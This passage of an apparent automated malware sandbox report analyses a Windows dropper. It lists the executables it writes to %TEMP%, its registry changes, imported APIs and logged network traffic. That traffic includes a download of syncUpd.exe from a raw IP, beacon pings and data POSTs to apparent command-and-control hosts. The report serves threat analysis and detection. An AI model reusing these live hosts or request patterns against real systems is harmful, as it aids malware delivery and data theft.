SVGA 3D"), "BroomSetup.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\BROOM"; Key: "KEY"; Value: "XZWEN-27MCX-Z9JD1-USCSW"), "BroomSetup.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\BROOM"; Key: "DATE"; Value: "95905D1E8197E64000")75:T40f,"BroomSetup.exe" has type "PE32 executable for MS Windows 5.00 (GUI) Intel i386 11 sections"- Location: [%TEMP%\BroomSetup.exe]- [targetUID: 00000000-00002856] "31839b57a4f11171d6abc8bbc4451ee4.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%TEMP%\31839b57a4f11171d6abc8bbc4451ee4.exe]- [targetUID: 00000000-00002512] "InstallSetup9.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Nullsoft Installer self-extracting archive 5 sections"- Location: [%TEMP%\InstallSetup9.exe]- [targetUID: 00000000-00002856] "rty25.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 6 sections"- Location: [%TEMP%\rty25.exe]- [targetUID: 00000000-00000640] "toolspub1.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%TEMP%\toolspub1.exe]- [targetUID: 00000000-00004224] "INetC.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\nsi3737.tmp\INetC.dll]- [targetUID: 00000000-00002856]76:T457,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini"77:T489,"BroomSetup.exe" has type "PE32 executable for MS Windows 5.00 (GUI) Intel i386 11 sections"- Location: [%TEMP%\BroomSetup.exe]- [targetUID: 00000000-00002856] "31839b57a4f11171d6abc8bbc4451ee4.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%TEMP%\31839b57a4f11171d6abc8bbc4451ee4.exe]- [targetUID: 00000000-00002512] "InstallSetup9.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Nullsoft Installer self-extracting archive 5 sections"- Location: [%TEMP%\InstallSetup9.exe]- [targetUID: 00000000-00002856] "rty25.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 6 sections"- Location: [%TEMP%\rty25.exe]- [targetUID: 00000000-00000640] "toolspub1.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%TEMP%\toolspub1.exe]- [targetUID: 00000000-00004224] "INetC.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\nsi3737.tmp\INetC.dll]- [targetUID: 00000000-00002856] "CHCP.COM.6A98C882.bin" has type "PE32 executable for MS Windows 6.01 (console) Intel i386 4 sections"- [targetUID: N/A]78:Ta32,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" wrote 26059 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\InstallSetup9.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" wrote 12288 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\toolspub1.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" wrote 58744 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" wrote 11776 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\rty25.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "InstallSetup9.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\BroomSetup.exe": 4d5a50000200000004000f00ffff0000ff0000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "InstallSetup9.exe" wrote 25600 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\nsi3737.tmp\INetC.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...79:T51e,Found string "WmiPrvSE.exe" (Indicator: "wmiprvse.exe"; in Source: "00000000-00000640.00000000.80239.00440000.00000004.mdmp") Found string "\\.\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00002512.00000001.82002.002D0000.00000004.mdmp, 00000000-00002512.00000001.82002.0034B000.00000004.mdmp") Found string "WbemScripting.SWbemLocator" (Indicator: "wbemscripting."; in Source: "00000000-00002512.00000001.82002.002D0000.00000004.mdmp, 00000000-00002512.00000001.82002.0B480000.00000004.mdmp") Found string "root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00002512.00000001.82002.002D0000.00000004.mdmp, 00000000-00002512.00000001.82002.0033A000.00000004.mdmp, 00000000-00002512.00000001.82002.0034B000.00000004.mdmp") Found string "\\.\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00003348.00000000.82319.002F0000.00000004.mdmp, 00000000-00003348.00000001.82347.002F0000.00000004.mdmp") Found string "WbemScripting.SWbemLocator" (Indicator: "wbemscripting."; in Source: "00000000-00003348.00000000.82319.002F0000.00000004.mdmp, 00000000-00003348.00000001.82347.002F0000.00000004.mdmp") Found string "root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00003348.00000000.82319.002F0000.00000004.mdmp, 00000000-00003348.00000001.82347.002F0000.00000004.mdmp")7a:T47a,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "0000000000") "InstallSetup9.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER") "InstallSetup9.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE") "InstallSetup9.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "InstallSetup9.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")7b:T59a,RegEnumKeyExW RegCreateKeyExW RegOpenKeyExW GetUserNameW RegDeleteValueW OpenProcessToken RegDeleteKeyW RegCloseKey MapViewOfFile ExitThread GetTickCount VirtualProtect WinExec ReadProcessMemory GetFileAttributesW GetStartupInfoW FindFirstFileW VirtualAllocEx FindResourceW GetModuleFileNameW CreateFileMappingW Sleep LoadLibraryW CreateDirectoryW GetModuleHandleW IsDebuggerPresent CreateProcessW FindNextFileW LoadLibraryA GetProcAddress WriteProcessMemory OpenProcess CreateThread VirtualAlloc GetSystemInfo GetComputerNameW WriteFile GetDriveTypeW GetCommandLineW LockResource GetFileSize DeleteFileW LoadLibraryExW GetVersionExW UnhandledExceptionFilter CreateFileW ShellExecuteW ShellExecuteExW GetCursorPos GetWindowThreadProcessId GetLastActivePopup SetWindowsHookExW SetKeyboardState GetClipboardData FindWindowExW FindWindowW EnumPrintersW TerminateProcess GetStartupInfoA CreateDirectoryA RegEnumKeyW GetSystemDirectoryW GetTempPathW GetModuleHandleA GetTempFileNameW CopyFileW RegOpenKeyW SetSecurityDescriptorDacl RegCreateKeyW GetNativeSystemInfo LoadLibraryExA FindResourceExW OutputDebugStringA FindResourceA GetVersionExA SleepEx CreateFileA InternetWriteFile FtpOpenFileW InternetConnectW InternetCloseHandle HttpSendRequestW HttpSendRequestExW InternetQueryOptionW HttpQueryInfoW InternetReadFile InternetCrackUrlW InternetOpenW7c:T1425,"nsd67A7.tmp" called "CryptStringToBinaryA" with parameters {"pszString": "YmxvY2s=" "cchString": "0" "dwFlags": "1" "pcbBinary": "05000000"} "nsd67A7.tmp" called "CryptStringToBinaryA" with parameters {"pszString": "YmxvY2s=" "cchString": "0" "dwFlags": "1" "pbBinary": "block" "pcbBinary": "05000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}7d:Td881,Contains base64 string in header "nine" in header "GET /cpa/ping.php?substr=nine&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "NSIS" in header "GET /cpa/ping.php?substr=nine&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "GET /cpa/ping.php?substr=nine&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "90Connection" in header "GET /cpa/ping.php?substr=nine&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /cpa/ping.php?substr=nine&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "/syncUpd" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 5.42.64.33Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "NSIS" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 5.42.64.33Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 5.42.64.33Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "33Connection" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 5.42.64.33Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 5.42.64.33Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHIHost: 185.172.128.79Content-Length: 214Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHIHost: 185.172.128.79Content-Length: 214Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHIHost: 185.172.128.79Content-Length: 214Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHIHost: 185.172.128.79Content-Length: 214Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "KEHDBAEGIIIEBGCAAFHIHost" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHIHost: 185.172.128.79Content-Length: 214Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHIHost: 185.172.128.79Content-Length: 214Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "nine" in header "GET /ping.php?substr=nine HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 5.42.64.33Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "NSIS" in header "GET /ping.php?substr=nine HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 5.42.64.33Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "GET /ping.php?substr=nine HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 5.42.64.33Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "33Connection" in header "GET /ping.php?substr=nine HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 5.42.64.33Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /ping.php?substr=nine HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 5.42.64.33Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: app.alie3ksgaa.com" Contains base64 string in header "like" in header "GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: app.alie3ksgaa.com" Contains base64 string in header "POST" in header "POST /check/?sid=18671&key=be99e179eaaa4a677a5334c5acd5edf3 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "be99e179eaaa4a677a5334c5acd5edf3" in header "POST /check/?sid=18671&key=be99e179eaaa4a677a5334c5acd5edf3 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "Keep" in header "POST /check/?sid=18671&key=be99e179eaaa4a677a5334c5acd5edf3 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=18671&key=be99e179eaaa4a677a5334c5acd5edf3 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "Type" in header "POST /check/?sid=18671&key=be99e179eaaa4a677a5334c5acd5edf3 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "form" in header "POST /check/?sid=18671&key=be99e179eaaa4a677a5334c5acd5edf3 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "like" in header "POST /check/?sid=18671&key=be99e179eaaa4a677a5334c5acd5edf3 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "POST" in header "POST /check/?sid=18690&key=6dc64b1b6cc4a0a62f037cd5f87b8d73 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "6dc64b1b6cc4a0a62f037cd5f87b8d73" in header "POST /check/?sid=18690&key=6dc64b1b6cc4a0a62f037cd5f87b8d73 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "Keep" in header "POST /check/?sid=18690&key=6dc64b1b6cc4a0a62f037cd5f87b8d73 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=18690&key=6dc64b1b6cc4a0a62f037cd5f87b8d73 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "Type" in header "POST /check/?sid=18690&key=6dc64b1b6cc4a0a62f037cd5f87b8d73 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "form" in header "POST /check/?sid=18690&key=6dc64b1b6cc4a0a62f037cd5f87b8d73 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "like" in header "POST /check/?sid=18690&key=6dc64b1b6cc4a0a62f037cd5f87b8d73 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 192Host: app.alie3ksgaa.com" Contains base64 string in header "POST" in header "POST /check/?sid=18736&key=753d46256724082d10c460c79e6e3127 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "753d46256724082d10c460c79e6e3127" in header "POST /check/?sid=18736&key=753d46256724082d10c460c79e6e3127 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "Keep" in header "POST /check/?sid=18736&key=753d46256724082d10c460c79e6e3127 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=18736&key=753d46256724082d10c460c79e6e3127 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "Type" in header "POST /check/?sid=18736&key=753d46256724082d10c460c79e6e3127 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "form" in header "POST /check/?sid=18736&key=753d46256724082d10c460c79e6e3127 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "like" in header "POST /check/?sid=18736&key=753d46256724082d10c460c79e6e3127 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 860Host: app.alie3ksgaa.com" Contains base64 string in header "POST" in header "POST /check/?sid=18758&key=f50ac250b3ae4c8bf06418549efed11b HTTP/1.1Connection: 